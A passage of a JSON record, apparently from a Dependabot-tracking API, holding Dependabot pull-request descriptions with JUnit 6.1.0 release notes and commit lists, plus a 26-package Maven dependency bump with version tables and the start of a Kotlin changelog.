href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.vintage:junit-vintage-engine` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.vintage:junit-vintage-engine's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5...\n\n_Description has been truncated_","html_url":"https://github.com/futureset-net/kontrol-db/pull/218","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/futureset-net%2Fkontrol-db/issues/218","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/218/packages"}},{"old_version":"42.7.8","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-19T02:49:51.000Z","version_change":"42.7.8 → 42.7.11","issue":{"uuid":"4474023304","node_id":"PR_kwDOC3no787c5a_g","number":429,"state":"closed","title":"chore(deps): bump the update-dependencies group across 1 directory with 26 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-08T17:14:50.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-19T02:49:51.000Z","updated_at":"2026-06-08T17:14:52.000Z","time_to_close":1779899,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"update-dependencies","update_count":26,"packages":[{"name":"org.jetbrains.kotlin:kotlin-stdlib","old_version":"2.3.10","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"org.jetbrains.kotlinx:kotlinx-coroutines-slf4j","old_version":"1.10.2","new_version":"1.11.0","repository_url":"https://github.com/Kotlin/kotlinx.coroutines"},{"name":"io.ktor:ktor-server-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-apache","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"org.apache.kafka:kafka-clients","old_version":"3.9.1","new_version":"4.2.0"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.26","new_version":"1.5.32","repository_url":"https://github.com/qos-ch/logback"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.20.1","new_version":"2.21.3"},{"name":"com.ibm.mq:com.ibm.mq.jakarta.client","old_version":"9.4.4.0","new_version":"9.4.5.1"},{"name":"com.google.cloud:google-cloud-storage","old_version":"2.62.1","new_version":"2.68.0","repository_url":"https://github.com/googleapis/google-cloud-java"},{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"11.15.0","new_version":"12.6.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"11.15.0","new_version":"12.6.0"},{"name":"org.apache.commons:commons-text","old_version":"1.14.0","new_version":"1.15.0","repository_url":"https://github.com/apache/commons-text"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-params","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-engine","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"com.devskiller:jfairy","old_version":"0.6.5","new_version":"0.8.3","repository_url":"https://github.com/Devskiller/jfairy"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.3","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"jvm","old_version":"2.3.10","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"com.diffplug.spotless","old_version":"8.0.0","new_version":"8.4.0"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the update-dependencies group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin:kotlin-stdlib](https://github.com/JetBrains/kotlin) | `2.3.10` | `2.3.21` |\n| [org.jetbrains.kotlinx:kotlinx-coroutines-slf4j](https://github.com/Kotlin/kotlinx.coroutines) | `1.10.2` | `1.11.0` |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-apache](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| org.apache.kafka:kafka-clients | `3.9.1` | `4.2.0` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.26` | `1.5.32` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.20.1` | `2.21.3` |\n| com.ibm.mq:com.ibm.mq.jakarta.client | `9.4.4.0` | `9.4.5.1` |\n| [com.google.cloud:google-cloud-storage](https://github.com/googleapis/google-cloud-java) | `2.62.1` | `2.68.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.8` | `42.7.11` |\n| org.flywaydb:flyway-core | `11.15.0` | `12.6.0` |\n| org.flywaydb:flyway-database-postgresql | `11.15.0` | `12.6.0` |\n| [org.apache.commons:commons-text](https://github.com/apache/commons-text) | `1.14.0` | `1.15.0` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-params](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-engine](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [com.devskiller:jfairy](https://github.com/Devskiller/jfairy) | `0.6.5` | `0.8.3` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.3` | `2.0.5` |\n| [jvm](https://github.com/JetBrains/kotlin) | `2.3.10` | `2.3.21` |\n| com.diffplug.spotless | `8.0.0` | `8.4.0` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `org.jetbrains.kotlin:kotlin-stdlib` from 2.3.10 to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: 